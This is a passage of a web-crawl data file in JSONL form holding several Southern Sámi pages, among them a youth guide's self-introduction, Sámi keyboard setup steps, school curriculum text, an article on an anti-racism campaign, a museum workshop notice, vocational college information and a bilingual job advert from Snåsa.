0.9999740123748779}","num_words":85,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Manne Ole-Christer Hætta, leam 19 jaepien båeries jïh Guovdageaidnuste. Manne Guovdageaidnusne årroejim goske lim 3 jaepien båeries, dellie Altese juhtim mov fuelhkine ektine. Desnie veedtsim saemien maanagiertesne, jïh saemien klaassesne veedtsim njealjeden klaassen raajan. Mænngan Altesne orreme 7 jaepieh bååstede Guovdageaidnuse juhtimh. Manne leam saemiestamme mov eejhtegigujmie jïh åerpenigujmie gåetesne, guktie lij hijven bååstede båetedh saemien seabradahkese. Manne maadthskuvlem illim jïh eelkim Saemien jåarhkeskuvlesne jïh båatsoeskuvlesne. Desnie studijespesialiseeremem realfaagine veedtsim, jïh e-sportem gïengelåbpoe goerehtim.\nFåantoe man åvteste realfaagem veeltim lea manne sïjhtem mov ellen stööremes nïekedassem jaksedh, mij lea pilovtine sjïdtedh. Manne iktesth girtieh jïh elmiefealadimmiem eahtseme. Manne mov eejhtegijstie jïh aarebi maanagïertebarkijijstie govleme, mov lij lastoe pilovtine sjïdtedh mænngan manne eelkim soptsestidh. Mov girtieïedtjen gaavhtan manne aaj bïjre jarkan veartenisnie mïnneme. Leam gelline kontineentine orreme maana- jïh noerebaelien, jïh mov sjaavnjoe lea gaajhkine kontineentine mïnnedh.\nMov aaj stoerre ïedtje musihkeste, joekoen «live»-musihke. Veartenen væjkalommes artisth vuejnedh gïeh sijjen ellen åehpemes laavlomh laavloeh rïekte dov tjelmiej uvte, lea akte domtese maam im maehtieh namhtah veasodh. Manne dan aavrehke orreme jïh vuajneme dovne Ariana Grandem jïh Dua Lipam gellien aejkien. Dah mov göökte lyjhkedeartisth, jïh dah gujht daejrieh guktie scenesne årrodh. Musihkeïedtjen gaavhtan manne aaj gelline festivaaline mïnneme bïjre jarkan Nöörjesne, jïh dam eahtsam.\nSåemies varke saetniesvoeth\nMïsse jeenjemes aavodh daan tsïeglejaepien?\nBïjre jarkan Nöörjesne fealadih, orre almetjh råakedh jïh saemien kultuvren bïjre bievnedh.\nMaam tuhtjh vihkielommes noerh Nöörjesne byöroeh saemien bïjre daejredh?\nMijjieh ibie låavthgåetesne årroeh, eah gaajhkh saemieh eevre seammalaakan, men mijjen lea gellie seamma hedtieh, jïh gaajhkh saemieh eah bovtsh utnieh.\nBööremes raerie jïengem tsööpkedh?\nGeehth olles gååre sjeavohtsvoete sjïdth, aelkieh soptsestidh.\nMaam 10 jaepine darjoeh?\n10 jaepine leam pilovte SAS:sne jallh Widerøesne.\nMaam lih sïjhteme meatan vaeltedh aevries såålese, jïh mannasinie?\nHelikoptere, guktie maahtam såålem laehpedh gosse sïjhtem.\nGie dov saemien åvteguvvie jïh mannasinie?\nDellie tjoerem krist'åabpam Ella Marie Hætta Isaksen jiehtedh. Dïhte stoerre åvteguvvie jeenjesidie jïh munnjien. Dïhte duasta jiehtedh maam meala jïh ij bïllh sov mïelh buektedh. Dan åvteste dam gutnem.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/ole-christer-haetta-3\/","date":"2024-02-29T02:50:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474775.80\/warc\/CC-MAIN-20240229003536-20240229033536-00195.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":321,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"iOS:m aelkiehtidh (iPhone \/ iPad \/ iPod)\nGosse leah appem App Storeste veedtjeme, dle naemhtie vååjnoe:\nRïhpesth appem:\nDiedtieh lïenghkem «Åpne Innstillinger»\nMïnnh dahkoe «Generelt > Tastatur > Tastaturer > Legg til nytt tastatur..»\nTeksten vuelelen «Tredjepartstastaturer» veeljh «Samiske tastaturer»:\nAelkehth dejtie båaloebuertide, mejtie edtjh utnedh:\nDell amma galhkeme!\nBåaloebuertiem målsoeh gosse tjaeliemienie jïh diedtieminie dam globusbåaloem mij leah gaskoehbåaloen gårroehbielesne:\nMaahtah aaj måedtien aejkien dam globusbåaloem diedtedh, gosk åadtjoeh dam båaloebuertiem maam sïjhth.\nVueptesth, ij gåaredh diedtedh-jïh-steeredh gosse akte dejtsie saemien båaloebuertijste lea juhtiemisnie. Daate lea Apple mij lea gaertjiedamme («there is no API to obtain a list of enabled keyboards or for picking a particular keyboard to switch to»), gaajhki ammes programmi åvteste.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/divvun.no\/sma\/keyboards\/installation_ios.html","date":"2024-02-21T02:01:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473360.9\/warc\/CC-MAIN-20240221002544-20240221032544-00084.warc.gz","language":"sma","language_score":0.9998186231,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9998186230659485}","num_words":110,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faagesne duedtie dïhte dåaresthfaageles teema almetjehealsoe jïh jieledehaalveme learohkh edtjieh maahtoem evtiedidh åssjaldahkeprosessh sjugniedidh, praktihkeles dåeriesmoerh loetedh jïh vissjelesvoetem evtiedidh gosse aarkebiejjien haestemh dåastoeh. Learohkh praktihkeles tjiehpiesvoeth jïh maahtoem lierieh gyhtjelassh gihtjedh, lierieh haestemh aarkebiejjien dåastodh jïh nuepieh vuejnedh ovnohkens tsiehkine. Barkoe tjeahpojne jïh ïebnigujmie jïh immaterijelle kultuvrine viehkehte learohki jïjtjeguvviem jïh ideniteeteevtiedimmiem nænnoestidh, ektie referaansemierieh vadta jïh mïelem jieliedisnie sjugnede. Learohkh dïrregh åadtjoeh mïelh, åssjalommesh jïh domtesh goerehtidh, jïh maam joem buektedh ovmessie formaatine jïh areenine.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/khv02-02\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2024-02-23T23:36:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474470.37\/warc\/CC-MAIN-20240223221041-20240224011041-00575.warc.gz","language":"sma","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000008225440979}","num_words":77,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jarkoestæjja: Ellen Bull Jonassen\n2020 galhkuvisnie akte noere saemienïejte isveligke dååjresem utni bussesne Romsesne. Dïhte jeatjah saemine soptsesti jïjtse gïelesne, saemien, jïh dan gaavhtan akte geerve almetje nïejtem narrahti.\nDaate heannadimmie stoerre tsåatskelesvoetem åadtjoeji dovne medijinie jïh saemiej luvnie. Saemiedigkietjirkije jïh NSR:en aarebi åvtehke, Runar Myrnes Balto, kampanjem #doarváidál eelki.\nUlmie kampanjine lea tjoevkesem bïejedh trïegkenassese maam saemieh dååjroeh, jïh barkedh dam nåhkehtidh.\nNOERE NÏEJTE\nmij jïjnjem kampanjine barkeme lea 22 jaepien båeries Elle Márgget Nystad Karasjohkeste. Elle Márgget lea prosjektemeatanbarkije orreme kampanjesne #doarváidál.\n– Mijjen ulmie daejnie kampanjine lea vuesiehtidh aassjoe saemiej vööste annje gååvnese. Sïjhtebe almetjh edtjieh dan bïjre soptsestidh. Sïjhtebe stoerreseabradahkem vuesiehtidh guktie aajhtoeh mijjem baajnehtieh goh saemieh, guktie domtoe, guktie mijjieh dam dååjrebe jïh vielie, Elle tjïelkeste.\nMænngan daate kampanje eelki, aaj jeatjah organisasjovnh jïjtsh prosjektigujmie eelkin. NSR:en noereraerie gusnie Elle Márgget lea meatan, leah eadtjaldovveme, jïh Elle Márgget lea aaj podcastem stuvreme NSR-N:en åvteste.\n– Göökte noere saemieh lin guessieh podcastesne. Dïhte akte lij Ann-Marie Dorph, dïhte noere nïejte mij sïerredimmiem bussesne dååjri, jïh mij gaajhkem eelki.\nTJAKTEN 2021\nNSR-noerh aktem gaavnedimmiem utnin åarjelsaemien dajvesne, Mussere. Desnie bïegkejårrehtseparhke båatsoem aajhta jïh noerh parhkem vaaksjoeji. Ellese lij leevles desnie årrodh.\n– Øyfjellesne åadtjoejimh vuejnedh guktie dagkerh skilkehtassh dam psykiske healsoem baajnehtieh. Desnie mijjieh noerh dovne noerhtelistie jïh åerjielistie gaavnedimh, jïh gellie hijven soptsestallemh sjïdti. Koronan gaavhtan ibie dan gellie nuepieh åtneme gaavnedidh jïh prosjektigujmie barkedh. Manne gegkestem daelie gosse Nöörje vihth ræhpas sjædta dellie buektiehtibie vielie darjodh.\nMEARAN ELLE MÁRGGET\nannje lij prosjektemeatanbarkije kampanjesne #doarváidál, faalenassem åadtjoeji orre barkoen bïjre. Dïhte Romsese juhti jïh prosjekten åvtehkinie sjïdti prosjektese RomsaDál, akte orre prosjekte Tromsø Idrettslagen tjïrrh laavenjostosne NSR:ine jïh jeatjah voenges organisasjovnigujmie jïh gaarsjelimmietjïertigujmie Romsesne.\n– Prosjekte eelki orrejaepien jïh daan raajan tuhtjem hijven gåaradamme. Romsa jïh Finnmarhken fylhkentjïelte lea dam tjalmahtamme. Dah pryöjjadieh jïh sijhtieh eadtjohkelaakan meatan årrodh prosjektesne. Fylhkentjïelte sæjhta maahtoem lutnjedh saemien ussjedimmievuekien, perspektijven jïh identiteeten bïjre, gusnie maanah jïh noerh leah jarngesne. Tuhtjem mijjieh libie prosjektine lyhkesamme gosse fylhkentjïelte sæjhta meatan årrodh, Elle mejjesne jeahta.\nVIHKIELOMMES DÏSSE\nlea saemien maanah jïh noerh edtjieh jååhkesjimmiem jïh jearsoesvoetem damtedh aktene saemien staaresne goh Romsa.\n– Manne prosjektine barkeminie ij ajve mov gaavhtan, men saemien maanaj jïh noeri gaavhtan. Manne jearsoe domtem gosse saemien maanah jïh noerh hijven staaresne utnieh, jïh åadtjoeh årrodh gïeh leah. Eah edtjh daarpesjidh bïevneseportaaline årrodh dïsse mij lea saemien. Eah edtjh bïlledh gaptine vaedtsedh staaresne jallh jïjtsh gïelem soptsestidh. Ij mïelem vedtieh trïegkenasse saemiej vööste Romsesne gååvnese gusnie dan gellie saemieh jïh dan stoerre saemien byjrese. Sïjhtem edtja iemie sjïdtedh saemieh leah Romsesne.\nJïjnje lea dorjesovveme jïh jeenjesh leah eadtjaldovveme saemietrïegkenassem tjöödtjestidh. Men, mij minngesne båata?\n– Manne gegkestem sjyöhtehke sjædta jeatjah tjïeltide jïh saemien sijjide «ruevtieraajroem dåeriedidh» prosjekten mænngan RomsaDál. Dagke skraejriem åadtjoeh destie mij Romsesne sjugniehtåvva daelie, jïh jïjtsh prosjektigujmie nierhkieh. Manne jaahkam mijjen prosjekte sæjhta baajnehtimmiem åadtjodh jeatjah lehkesne laantesne, Elle Márgget minngemes jeahta.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ungdomsmagasin.no\/noerh-edtjieh-saemietriegkenassem-tjoeoedtjestidh\/15.03-12:03","date":"2024-03-03T03:36:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947476180.67\/warc\/CC-MAIN-20240303011622-20240303041622-00523.warc.gz","language":"sma","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999985694885254}","num_words":467,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Arrangement\nTsåahka: 12:00-14:00\nVaasa: 2 tæjmoeh\nDaennie vierhkiesijjesne Admir Batlak sæjhta soptsestidh guktie satne lea teknihkigujmie jïh gïetedimmine tekstijleste jïh gåaromedeerpegijstie barkeme sov orre solovuesiehtimmesne MUNCH-museumisnie. Batlak sæjhta vuesiehtimmien jïh sov tjiehpiedimmien bïjre soptsestidh, jïh dah mah leah meatan nuepiem åadtjoeh buerebelaakan tjiehpiedæjjine åahpenidh gie daam vierhkiesijjieraajroem skreejrehtamme.\nVierhkiesijjesne gaajhkesh sijhtieh jïjtsh tekstijleeksperimeenth sjugniedidh. Batlak sæjhta såemies sjyöhtehke ïebnh meatan vaeltedh mejtie gaajhkesh åadtjoeh frijjelaakan nuhtjedh daan åssjelasse. Ij leah daerpies åvtedaajrojne gåaroemisnie juktie meatan årrodh.\nMijjieh prïhtjegem, gejhkiebearkoem jïh aktem vegaane alternatijvem gåassoehtibie.\nVierhkiesijjie edtja jearsoe areenine årrodh gaajhkesidie. Daesnie nulletoleraanse sïerreden, narrahtihks jïh væssjoehtihks lahtestimmide. Gaskesadth aktem mijjen tjåadtjoehtæjjijste öörnemen åvteste jis maam akt dååjrh mij ovsjiehteles domtoe.\nAdmir Batlak (r. 1982, Mostar, Bosnia-Herzegovina) lea daan jaapetje SOLO OSLO-tjiehpiedæjja. Dïhte sijjesne svæhtja desnie gusnie mota, skulptuvre jïh installasjovne gaavnesjieh, strovhkesjimmieruevtine goh vihkele dïrrege. Batlak baaja joekehts referaansh jïh ïebnh ektesne veasodh sov barkojne, jïh naemhtie gyhtjelassh smaahken, åvteguvviej jïh identiteeten bïjre kråånske.\nGæjhtoe seabran Garmeres dej daajroen jïh dåarjoen åvteste daan bievnemeprosjektese.\nDaate vierhkiesijjie lea bielie vuesiehtimmijste jïh bievnemeprosjektijste SOLO OSLO, tjiehpiedæjjijste jïh bievniejijstie mah ektiedimmiem Oslose utnieh, mejtie Talent Norge jïh Canica dåarjoehtieh.\nBilde: Jannik Abel og Norske Billedkunstnere 2020","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.munchmuseet.no\/hva-skjer-arkiv\/ramis-mot-kunstneren-admir-batlak-ss-30390\/","date":"2024-02-25T14:06:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474617.27\/warc\/CC-MAIN-20240225135334-20240225165334-00590.warc.gz","language":"sma","language_score":0.9999917746,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999991774559021}","num_words":189,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aalkoe vihkielommes\nVoestes minudte vihkielommes. Aellieh aelkieh iktedimmine jallh sisveginie. Buerebe jis soptsesinie, sitaatine jallh jiehtieginie aalkah.\nGaertjedh dov aamhtesem\nBuerebe jis naan vihkeles tsiehkiej bïjre veeljh soptsestidh, enn gaajhken bïjre gusnie jïjnjh bïevnesh, smaave biehkieh nommigujmie jïh taaligujmie.\nNuhtjh vihties jïh tjïelke vuesiehtimmieh\nBaajh sisvegem jieledh. Nuhtjh vihties jïh tjïelke vuesiehtimmieh, jïh jielije soptsestimmievuekiem.\nSoejkesjh guktie sïjhth soptsestidh\nSoptsesth jeereldihkie gïeline. Maahtah soejmetji jallh snååhpehke, reegkes jallh soejme gïeline soptsestidh. Mujhtieh aaj voejngehtidh.\nSoejkesjh mah viehkievierhtieh sïjhth utnedh\nJis guvvieh teekstine vuesehth aellieh jïjnjem fïerhten gåvvan tjaelieh jïh aellieh baajh guvvide åejvie-aamhtesinie sjïdtedh.\nGovlesadth goltelæjjide\nGutnedh goltelæjjide. Voejhkelh jïenesidie goevlelidh jïh dejtie aaj jaksedh tjelmiejgujmie. Goltelæjjah sijhtieh damtedh datne dejtie soptsesth, jis föörhkedieh jallh bååhperieh dellie vuertesth.\nVueptesth dov kråahpe-gïelem\nTjåadtjoeh mearan soptsesteminie. Nuhtjh kråahpe-gïelem. Aellieh tjåadtjoeh gïeth låammine, marhta- jallh kroesse-gïeti.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:074f9b3d-1abb-4778-a88d-7d862d21726c\/topic:2:3a4016d8-76ec-4bbb-b890-eb74e42f30c8\/resource:0e16eb07-f64d-4730-afe4-76b587dee4a4","date":"2024-02-26T13:58:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474660.32\/warc\/CC-MAIN-20240226130305-20240226160305-00763.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":133,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem faagesne nöörjen learoehkidie saemiengïeline voestesgïeline vuesiehtieh jïh evtiedieh 3. jïh 4. daltesisnie gosse nuepiem åadtjoeh gïelem jïh teekstem goerehtidh, pryövedh jïh bueriedidh, jïh gosse buerkiestieh, soptestellieh jïh soptsestieh gelliengïelevoeten jïh aarkebiejjien bïjre. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse luhkieh, bueriedieh jïh ussjededtieh teeksti bijjeli, jïh gosse nuepiem åadtjoeh jïjtsh njaalmeldh jïh tjaaleldh teeksth soejkesjidh jïh hammoedidh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan jïh lïeremelastose skreejrehtidh gosse baaja learoehkidie onterdidh jïh pryövedh åehpies jïh orre tsiehkine, gusnie ulmieh lea nöörjen lïeredh. Lohkehtæjja edtja sjïehteladtedh guktie learohkh gïeleldh jïh faageles maahtoem evtiedieh praktihkeles barkoen, soptsestallemi jïh åtnoen tjïrrh lïeremestrategijijste. Lohkehtæjja jïh learohkh edtjieh soptsestalledh learohki evtiedimmien bïjre nöörjengïelesne. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh maam buerebelaakan buektiehtieh goh aarebi. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sijjen njaalmeldh jïh tjaaleldh tjiehpiesvoeth faagesne guhkiebasse evtiedidh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/nor03-04\/kompetansemaal-og-vurdering\/kv137?lang=sma","date":"2024-02-29T11:53:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474808.39\/warc\/CC-MAIN-20240229103115-20240229133115-00843.warc.gz","language":"sma","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000009536743164}","num_words":163,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faageskuvlh jollebe barkoefaageles ööhpehtimmiem vedtieh, mij lea barkoefaageles jïh praksiselïhke ööhpehtimmieh daltesisnie jåarhkelïerehtimmien bijjelen. Ööhpehtimmieh daerpiesvoetem geptjieh maehteles barkoefaageles barkoefaamose jollebe daltesisnie.\nDaan biejjien 15 faageskuvlh jollebe barkoefaageles ööhpehtimmiefaalenassigujmie Trööndelagesne. Datne vielie bïevnesh fïereguhten faageskuvlen bïjre gaavnh nedteportaalesne hoyt.no (nöörjen).\nTrööndelagen fylhkentjïelten faageskuvle\nTrööndelagen fylhkentjïelte lea Trööndelagen jollebe barkoefaageskuvlen aajhtere (THYF). Skuvle gellieh ööhpehtimmieh faalehte goh teknihken faagh, maritijme faagh, healsoefaage, byjjenimmiefaage, laanteburriefaage, beapmoemehtiefaage jïh mearoeburriefaage. Skuvle aaj jeatjah faagh faalehte, laavenjostosne faageskuvligujmie jieniebinie sijjine Nöörjesne.\nLohkh vielie lohkemefaalenassen bïjre THYF:en nedtesæjrosne (nöörjen)\nTHYF:en leah tjïjhtje goevtesh:\n- Chr. Thams, Løkken Verkesne\n- Gauldal, Støren\n- Levangke\n- Stïentje\n- Skïerde\n- Tråante\n- Ytre Namdal Rørvikesne\nJeatjah «ij-fylhkentjïelten» faageskuvlh Trööndelagesne\n- Centric IT Academy\n- Din Kompetanse AS\n- Fagskolen AOF Norge\n- Fagskolen Innlandet\n- Folkeuniversitetets fagskole AS\n- KBT Fagskole\n- Lukas høyere yrkesfagskole\n- Medlearn\n- NKI fagskole AS\n- Norges fagakademi\n- Norges grønne fagskole - Vea\n- Norsk fotofagskole\n- TISIP fagskole\n- Fagskolen i Viken\nBïevnesh ohtsijidie\nJis edtjh baahtsemem jollebe barkoefaageles ööhpehtæmman utnedh, krïevenasse lea tjïrrehtamme barkoefaageles ööhpehtimmie jåarhkeskuvleste (faage- jallh sveenneprievie), jallh sjyöhtehke praksise. Muvhth lohkemh krievieh datne leah studijeryöjreden ööhpehtimmieprogrammem tjïrrehtamme.\nMaahtah baahtsemen bïjre syökedh gaajhkide byögkeles faageskuvlide jïh såemies privaate faageskuvlide sæjroen baaktoe Samordna opptak.\nOhtsememierie nasjonaale baahtsemasse lea voerhtjen 15.b.\nMuvhth skuvlh jïh ööhpehtimmieh eah leah meatan nasjonaale iktedamme baahtsemisnie. Datne tjoerh jeatjahlaakan ohtsedh, vuartesjh faageskuvli nedtesæjroeh jallh gaskesadth ryöktesth dejnie sjïere skuvline jis vielie bïevnesh sïjhth.\nMuvhth lohkemh namhtah, jïh naakenh lohkememaaksoem utnieh. Daate sæjhta fïereguhten nedtesæjrosne tjåadtjodh. Baahtseme faageskuvlese reaktam vadta studijelaajkose jïh stipendese Lånekasseste.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.trondelagfylke.no\/vare-tjenester\/utdanning\/hyu\/jollebe-barkoefaageles-oohpehtimmie-troondelagesne\/","date":"2024-04-23T07:24:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818468.34\/warc\/CC-MAIN-20240423064231-20240423094231-00827.warc.gz","language":"sma","language_score":0.9998812675,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998812675476074}","num_words":236,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ektievoeten åvtehke Saemien ektievoete\/Enhetsleder samisk enhet\nEktievoeten åvtehke Saemien ektievoete\nSnåase lea gaskoeh åarjelsaemien dajvesne jïh lea gåassoehtæjjatjïelte gellide saemien årgaanide jïh gïehtelimmide. Tjïelte lea meatan saemien gïelen reeremedajvesne. Saemien ektievoetesne Åarjel-saemiej skuvle, internaate jïh Suaja maanagïerte.\nSaemien ektievoetesne barkoe gååvnese goh ektievoeten åvtehkinie 01.08.17 raejeste. Ektievoeten åvtehke lea rektovre Åarjel-saemiej skuvlese, bijjemes tjåadtjoehtæjja internaatese jïh åvtehke Suaja maanagïertese.\nBarkoe dam bijjemes dïedtem åtna ektievoeten pedagogeles jïh ekonomeles\/reereles evtiedimmien åvteste, reekteminie tjïelteåvtehkasse jïh ööhpehtimmiedirektoraatese. Tsihkestahta aktem lïhke laavenjostoem internaaten åvtehkinie jïh maanagïerten pedagogeles åvtehkinie.\nEktievoeten ulmie lea vaarjelidh jïh beagkoehtidh saemien gïelem, aerpievuekieh, åssjaldahkh jïh aarvoeh.\nÅarjel-saemiej skuvle akte vierhtieskuvle åarjelsaemien dajvesne mij, lissine jïjtse gïehtelæmman, maajhööhpehtimmiem vadta åarjelsaemien gïelesne jeatjah maadthskuvlide mïnneden lohkehtæjjine, videokonferansedalhketjh, IKT jïh gaavnedimmieh skuvlesne.\nMijjieh ektievoeten åvtehkem ohtsebe mij;\n– pedagogeles ööhpehtimmiem jïh haarjanimmiem åtna skuvlevierhkeste jïh\/jallh maanagïertesuerkeste\n– åvtehkedååjrehtimmiem jïh\/jallh åvtehkeööhpehtimmiem åtna\n– dïedtem vaalta, öörnegen mietie barka jïh maahta sjæjsjalimmieh vaeltedh\n– væjkele govlesadtedh jïh laavenjostedh\n– hijven IKT-maahtoem åtna jïh IKT goh barkoedïrrege nuhtjie\n– daajroem åarjelsaemien gïelen jïh kultuvren sisnjeli åtna\n– goerkesem åtna dan jienebekultuvrelle\njïh mij lastoem åtna;\n– eadtjohke meatanspïelijinie årrodh maanagïerten, skuvlen jïh internaaten evtiedimmiebarkosne\n– nuepieh vuejnedh mijjen hijven meatanbarkijinie, learoehkinie jïh eejhteginie\n– involveraddih jïh skreejrehtidh\n– våajnoes årrodh byjresisnie\n• Tjïelke, boerehke jïh mavvas leah tjïelten aarvoeh, jïh dejtie sïjhtebe leavloem bïejedh aktene vuarjasjimmesne datneste goh åvtehke\n• Sïjhtebe leavloem biejedh mejtie datne barkose sjïehth\nMijjieh faalehtibie\n– Gieltegs barkoelaavenjassh aktene maanagïertesne jïh skuvlesne evtiedimmesne\n– Jaabnan dåarjedimmie\n– Maehteles jïh eadtjohke meatanbarkijh\n– Åvtehkelatjkoe jïh baalhka latjkoen mietie\nSïejhme barkose:\nVielie bïevnesh barkoen bïjre åadtjoeh jis soptsesth byjjenimmien tjïelkeåvtehkinie, Roger Nilsen Sæthre, tell 74182231 \/ 99456272. Seehteme dorjesåvva dej fïerhten tïjjen sïejhme laaki, njoelkedassi jïh tariffelatjkoej mietie. Orre barkije tjuara pollisevihtiestimmiem orre biejjeste buektedh åvtelen aalka.\nOhtsemem bööremes seedth elektrovneles goeresne. Maahtah aaj ohtsemem CV:ine seedtedh diekie, Snåasen tjïelte\/Snåsa kommune, Sørsivegen 6, 7760 Snåase\/ Snåsa. Ohtsememierie 05.04.17.\nEnhetsleder Samisk enhet\nSnåsa ligger midt i det sørsamiske området og er vertskommune for en rekke samiske organer og virksomheter. Kommunen er innlemmet i forvaltningsområdet for samisk språk. Samisk enhet består av Åarjel-saemiej skuvle, internat og Suaja maanagierte barnehage.\nVed samisk enhet er det fra 01.08.17 ledig stilling som enhetsleder. Enhetsleder er rektor for Åarjel-saemiej skuvle, øverste ansvarlige for internatet og styrer for Suaja maanagierte.\nStillingen innehar det overordnede ansvar for enhetens pedagogiske og økonomisk \/ administrative utvikling med rapportering til kommunalsjef og utdanningsdirektorat. Det forutsettes et tett samarbeid med internatleder og pedagogisk leder for barnehagen\nEnhetens mål er å ta vare på og formidle samisk språk, tradisjoner, tanker og verdier.\nÅarjel-saemiej skuvle er en ressursskole i det sørsamiske området som, i tillegg til egen drift, gir fjernundervisning i sørsamisk til andre grunnskoler via ambulerende lærer, videokonferanseutstyr, IKT og samlinger ved skolen.\nVi søker etter enhetsleder som;\n– har pedagogisk utdanning og praksis fra skoleverket og\/eller barnehagesektoren\n– har ledererfaring og\/eller lederutdanning\n– er ansvarsbevisst, strukturert og beslutningsdyktig\n– har gode kommunikasjons- og samarbeidsegenskaper\n– har god IKT-kompetanse og bruker IKT som arbeidsredskap\n– har kunnskap innenfor sørsamisk språk og kultur\n– har forståelse for det flerkulturelle\nog som har lyst til;\n– å være en aktiv medspiller i barnehagens, skolens og internatets utviklingsarbeid\n– å se muligheter i våre gode medarbeidere, elever og foresatte\n– å involvere og inspirere\n– å være synlig i miljøet\n• Ekte raus og modig er kommunens verdier og vil bli vektlagt i en vurdering av deg som leder\n• Personlig egnethet vil bli vektlagt\nVi tilbyr:\n– Spennende arbeidsoppgaver i en barnehage og skole i utvikling\n– Regelmessig oppfølging\n– Kompetente og engasjerte medarbeidere\n– Lederavtale og lønn etter avtale\nGenerelt for stillingen:\nNærmere opplysninger om stillingen fås ved henvendelse til kommunalsjef oppvekst, Roger Nilsen Sæthre tlf 74182231 \/ 99456272. Ansettelse skjer i h.h.t. de til enhver tid gjeldende lover, reglementer og tariffavtaler. Politiattest av ny dato må framlegges før tiltredelse.\nSøknad sendes fortrinnsvis på elektronisk skjema. Søknad med CV kan eventuelt også sendes til Snåsa kommune, Sørsivegen 6, 7760 Snåsa. Søknadsfrist 05.04.17.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/gielemnastedh.no\/2017\/03\/ledig-stilling-ektievoeten-avtehke-saemien-ektievoeteenhetsleder-samisk-enhet\/","date":"2024-04-14T17:26:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816893.19\/warc\/CC-MAIN-20240414161724-20240414191724-00861.warc.gz","language":"sma","language_score":0.9834240079,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9834240078926086, \"sme_Latn_score\": 